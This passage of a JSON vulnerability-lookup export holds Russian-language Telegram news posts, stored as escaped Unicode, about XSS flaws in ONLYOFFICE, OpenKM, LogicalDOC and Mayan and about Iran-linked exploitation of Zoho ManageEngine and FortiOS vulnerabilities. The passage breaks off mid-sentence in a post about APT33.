\u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "4a7f5aba-fc7b-41f1-9570-e332236de397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/itsec_news/3148", "content": "\u200b\u26a1\ufe0f\u0413\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0437 \u0418\u0440\u0430\u043d\u0430 \u2014 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0439 \u0430\u0432\u0438\u0430\u0446\u0438\u0438.\n\n\ud83d\udcac \u0414\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho \u0438 Fortinet.\n\n\u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u043c \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e\u043c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f \u0432 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u0443\u044e \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0432 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0444\u0435\u0440\u0435. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho \u0438 Fortinet \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u043d\u0435\u0439.\n\n\u0412 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u043c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 , \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c 7-\u0433\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0421\u0428\u0410 (CISA), \u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0435 \u0431\u044e\u0440\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 (\u0424\u0411\u0420) \u0438 \u041a\u043e\u043c\u0430\u043d\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0443 \u0421\u0428\u0410 (USCYBERCOM) \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f, \u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u0437\u0430 \u044d\u0442\u0438\u043c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c, \u043d\u043e \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0438\u0445 \u0441 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c.\n\nCISA \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u043e \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u0430\u043f\u0440\u0435\u043b\u044c \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u043e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f. \u041e\u043d\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 Zoho ManageEngine ServiceDesk Plus \u0438 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d Fortinet.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47966 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e (Zoho ManageEngine ServiceDesk Plus), \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u0441\u0442\u0432\u0430 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 ManageEngine\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438.\n\n\u00ab\u0414\u0440\u0443\u0433\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-42475 \u0432 FortiOS SSL-VPN \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\u00bb.\n\n\u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430, \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u043b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u044c \u0446\u0435\u043b\u0438 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u0441\u0442\u0432\u043e \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 \u0437\u0432\u0435\u043d\u044c\u044f \u0438\u043b\u0438 \u043a\u0430\u043a \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0435\u0442\u0435\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u043c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043b\u0443\u0447\u0448\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 NSA \u043f\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0442 \u0432\u0441\u0435\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0437\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u0433\u0440\u0443\u043f\u043f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-09-08T09:59:44.000000Z"}, {"uuid": "e8c741c4-aad1-4439-a4f0-44f155489cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/itsec_news/3241", "content": "\u200b\u26a1\ufe0f\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u044b\u0435 \u0441\u043a\u0430\u0437\u043a\u0438: Peach Sandstorm \u0438 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438.\n\n\ud83d\udcac\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Microsoft \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0435\u0440\u0438\u044e \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0441\u043e\u0431\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u043e\u0439 APT33, 